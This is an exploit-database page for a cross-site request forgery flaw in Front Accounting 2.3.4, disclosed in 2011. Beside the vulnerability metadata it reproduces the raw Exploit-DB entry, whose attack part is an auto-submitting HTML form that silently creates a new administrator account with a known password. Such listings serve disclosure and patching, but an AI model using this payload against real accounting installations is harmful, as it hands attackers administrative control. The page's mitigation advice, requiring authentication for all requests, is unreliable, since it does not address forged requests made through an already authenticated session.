header-logo
Suggest Exploit
vendor:
Front Accounting
by:
AutoSec Tools
3.3
CVSS
LOW
Cross-site Request Forgery
352
CWE
Product Name: Front Accounting
Affected Version From: 2.3.2004
Affected Version To: 2.3.2004
Patch Exists: NO
Related CWE: N/A
CPE: a:frontaccounting:front_accounting:2.3.4
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows Vista + XAMPP
2011

Front Accounting 2.3.4 Cross-site Request Forgery

A cross-site request forgery vulnerability in Front Accounting 2.3.4 can be exploited to create a new admin.

Mitigation:

Implementing a security policy that requires user authentication for all requests.
Source

Exploit-DB raw data:

# Software................Front Accounting 2.3.4
# Vulnerability...........Cross-site Request Forgery
# Threat Level............Low (1/5)
# Download................http://frontaccounting.com/wb3/
# Discovery Date..........4/27/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
# 
# 
# --Description--
# 
# A cross-site request forgery vulnerability in Front Accounting 2.3.4
# can be exploited to create a new admin.
# 
# 
# --PoC-->

<html>
    <body onload="document.forms[0].submit()">
        <form method="POST" action="http://localhost/frontaccounting/admin/users.php?JsHttpRequest=0-xml">
            <input type="hidden" name="user_id" value="new_admin" />
            <input type="hidden" name="password" value="Password1" />
            <input type="hidden" name="real_name" value="x" />
            <input type="hidden" name="phone" value="x" />
            <input type="hidden" name="email" value="x@x.com" />
            <input type="hidden" name="role_id" value="2" />
            <input type="hidden" name="language" value="C" />
            <input type="hidden" name="pos" value="1" />
            <input type="hidden" name="print_profile" value="" />
            <input type="hidden" name="rep_popup" value="1" />
            <input type="hidden" name="ADD_ITEM" value="Add new" />
            <input type="hidden" name="_focus" value="user_id" />
            <input type="hidden" name="_modified" value="0" />
        </form>
    </body>
</html>